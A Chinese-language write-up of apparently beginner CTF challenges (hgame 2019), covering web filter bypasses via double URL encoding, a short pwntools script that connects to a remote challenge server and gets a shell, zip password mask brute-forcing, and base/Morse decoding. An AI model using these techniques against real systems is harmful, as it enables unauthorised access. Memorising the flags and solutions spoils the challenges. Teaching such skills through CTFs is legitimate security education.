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<meta name="description" content="web谁吃了我的flag题目是考察备份文件的恢复，将.index.html.swp下载下来，然后使用命令vim -r index.html即可恢复文件查看到flag  换头大作战在响应头出多次按照提示变换，最后得到flag  very easy web题目代码如下 &amp;lt;?php error_reporting(0); include(&amp;quot;flag.php&amp;quot;);  if(str">
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<meta property="og:description" content="web谁吃了我的flag题目是考察备份文件的恢复，将.index.html.swp下载下来，然后使用命令vim -r index.html即可恢复文件查看到flag  换头大作战在响应头出多次按照提示变换，最后得到flag  very easy web题目代码如下 &amp;lt;?php error_reporting(0); include(&amp;quot;flag.php&amp;quot;);  if(str">
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<meta name="twitter:description" content="web谁吃了我的flag题目是考察备份文件的恢复，将.index.html.swp下载下来，然后使用命令vim -r index.html即可恢复文件查看到flag  换头大作战在响应头出多次按照提示变换，最后得到flag  very easy web题目代码如下 &amp;lt;?php error_reporting(0); include(&amp;quot;flag.php&amp;quot;);  if(str">
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        <h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="谁吃了我的flag"><a href="#谁吃了我的flag" class="headerlink" title="谁吃了我的flag"></a>谁吃了我的flag</h2><p>题目是考察备份文件的恢复，将.index.html.swp下载下来，然后使用命令vim -r index.html即可恢复文件查看到flag</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f747be2d74.jpg" alt=""></p>
<h2 id="换头大作战"><a href="#换头大作战" class="headerlink" title="换头大作战"></a>换头大作战</h2><p>在响应头出多次按照提示变换，最后得到flag</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f74981ed6b.jpg" alt=""></p>
<h2 id="very-easy-web"><a href="#very-easy-web" class="headerlink" title="very easy web"></a>very easy web</h2><p>题目代码如下</p>
<pre><code>&lt;?php
error_reporting(0);
include(&quot;flag.php&quot;);

if(strpos(&quot;vidar&quot;,$_GET[&apos;id&apos;])!==FALSE)
  die(&quot;&lt;p&gt;干巴爹&lt;/p&gt;&quot;);

$_GET[&apos;id&apos;] = urldecode($_GET[&apos;id&apos;]);
if($_GET[&apos;id&apos;] === &quot;vidar&quot;)
{
  echo $flag;
}
highlight_file(__FILE__);
?&gt;
</code></pre><p>可以看到在代码中间有这么一句</p>
<pre><code>$_GET[&apos;id&apos;] = urldecode($_GET[&apos;id&apos;]);
</code></pre><p>将参数进行了URL解码，而我们知道除了这个解码外，浏览器额外还会进行解码，所以我们需要将参数进行两次URL编码，同时自然绕过strpos函数</p>
<p>加密网址：<a href="http://web.chacuo.net/charseturlencode" target="_blank" rel="noopener">http://web.chacuo.net/charseturlencode</a></p>
<p><img src="https://i.loli.net/2019/03/18/5c8f74acd9a2c.jpg" alt=""></p>
<h2 id="can-u-find-me"><a href="#can-u-find-me" class="headerlink" title="can u find me?"></a>can u find me?</h2><p>f12查看源码，发现了f12.php</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f74bf13db4.jpg" alt=""></p>
<p>访问后提示让我们post一个密码，随便post一个密码，可以在返回包中看到真实的密码</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f74d07e405.jpg" alt=""></p>
<p>输入后再次抓包即可得到flag</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f74e8a012d.jpg" alt=""></p>
<h1 id="RE"><a href="#RE" class="headerlink" title="RE"></a>RE</h1><h2 id="HelloRe"><a href="#HelloRe" class="headerlink" title="HelloRe"></a>HelloRe</h2><p>打开发现是ELF文件，使用strings命令查看字符串发现flag</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f7505db3ab.jpg" alt=""></p>
<h2 id="Pro的Python教室-一"><a href="#Pro的Python教室-一" class="headerlink" title="Pro的Python教室(一)"></a>Pro的Python教室(一)</h2><p>代码如下</p>
<pre><code>import base64
import hashlib

enc1 = &apos;hgame{&apos;
enc2 = &apos;SGVyZV8xc18zYXN5Xw==&apos;
enc3 = &apos;Pyth0n}&apos;

print &apos;Welcome to Processor\&apos;s Python Classroom!\n&apos;
print &apos;Here is Problem One.&apos;
print &apos;There\&apos;re three parts of the flag.&apos;

print &apos;------------------------------------------------&apos;

print &apos;Plz input the first part:&apos;
first = raw_input()
if first == enc1:
pass
else:
print &apos;Sorry , You\&apos;re so vegatable!&apos;
exit()

print &apos;Plz input the secend part:&apos;
secend = raw_input()
secend = base64.b64encode(secend)
if secend == enc2:
pass
else:
print &apos;Sorry , You\&apos;re so vegatable!&apos;
exit()

print &apos;Plz input the third part:&apos;
third = raw_input()
third = base64.b32decode(third)
if third == enc3:
pass
else:
print &apos;Sorry , You\&apos;re so vegatable!&apos;
exit()

print &apos;Oh, You got it !&apos;
</code></pre><p>直接将SGVyZV8xc18zYXN5Xw==base64解码后拼接成flag就可以了</p>
<h1 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h1><h2 id="aaaaaaaaaa"><a href="#aaaaaaaaaa" class="headerlink" title="aaaaaaaaaa"></a>aaaaaaaaaa</h2><p>使用IDA打开查看</p>
<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  signed int v5; // [rsp+Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  signal(14, handle);
  alarm(0xAu);
  puts(&quot;Welcome to PWN&apos;world!let us aaaaaaaaaa!!!&quot;);
  v5 = 0;
  while ( 1 )
  {
v3 = v5++;
if ( v3 &gt; 99 )
  break;
if ( getchar() != 97 )
  exit(0);
  }
  system(&quot;/bin/sh&quot;);
  return 0;
}
</code></pre><p>我们发送100个a就可以了</p>
<p>exp:</p>
<pre><code>from pwn import *

#p = process(&apos;./a&apos;)
p = remote(&apos;118.24.3.214&apos;,9999)

p.sendlineafter(&apos;!!!&apos;,&apos;a&apos;*100)

p.interactive()
</code></pre><p><img src="https://i.loli.net/2019/03/18/5c8f751ba7ea0.jpg" alt=""></p>
<h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h2 id="Broken-Chest"><a href="#Broken-Chest" class="headerlink" title="Broken Chest"></a>Broken Chest</h2><p>打开发现压缩包是损坏的，修复一下文件头，然后用注释的字符串作为密码，得到flag</p>
<h2 id="Try"><a href="#Try" class="headerlink" title="Try"></a>Try</h2><p>在流量包中提取到一个压缩包，其中有一passWord文件，提示hgame<strong><em>**</em></strong>，想到掩码攻击，爆破得到密码解压</p>
<p><img src="https://i.loli.net/2019/03/18/5c8f752eb06c7.jpg" alt=""></p>
<p>又得到一张图片，使用foremost分离出Word文件，打开得到flag</p>
<h1 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h1><h2 id="MIX"><a href="#MIX" class="headerlink" title="MIX"></a>MIX</h2><p>题目给了以下代码</p>
<pre><code>--.../....-/....-/-.../--.../...--/...../..-./-..../-../-..../..-./--.../----./....-/....-/--.../.----/-..../-.../--.../-.../-..../..---/...../.----/-..../-..../...--/....-/...--/-----/-..../...../--.../-..
</code></pre><p>感觉像是摩斯码，将/替换成空格，即可得到flag</p>
<h2 id="Base全家"><a href="#Base全家" class="headerlink" title="Base全家"></a>Base全家</h2><p>手动测试</p>
<pre><code>import base64
import requests
url = &quot;http://plir4axuz.bkt.clouddn.com/hgame2019/enc.txt&quot;
html = requests.get(url)
result = html.text
result = base64.b64decode(result)
result = base64.b64decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b32decode(result)
result = base64.b16decode(result)
result = base64.b32decode(result)
result = base64.b64decode(result)
result = base64.b16decode(result)
result = base64.b64decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b16decode(result)
result = base64.b32decode(result)
result = base64.b64decode(result)
result = base64.b64decode(result)
result = base64.b64decode(result)
result = base64.b32decode(result)

print(result)
</code></pre><p>得到结果：</p>
<pre><code>base58 : 2BAja2VqXoHi9Lo5kfQZBPjq1EmZHGEudM5JyDPREPmS3CxrpB8BnC
</code></pre><p>在github上搜到了第三方库，下载使用解密即可</p>
<p><a href="https://github.com/keis/base58" target="_blank" rel="noopener">https://github.com/keis/base58</a></p>

      
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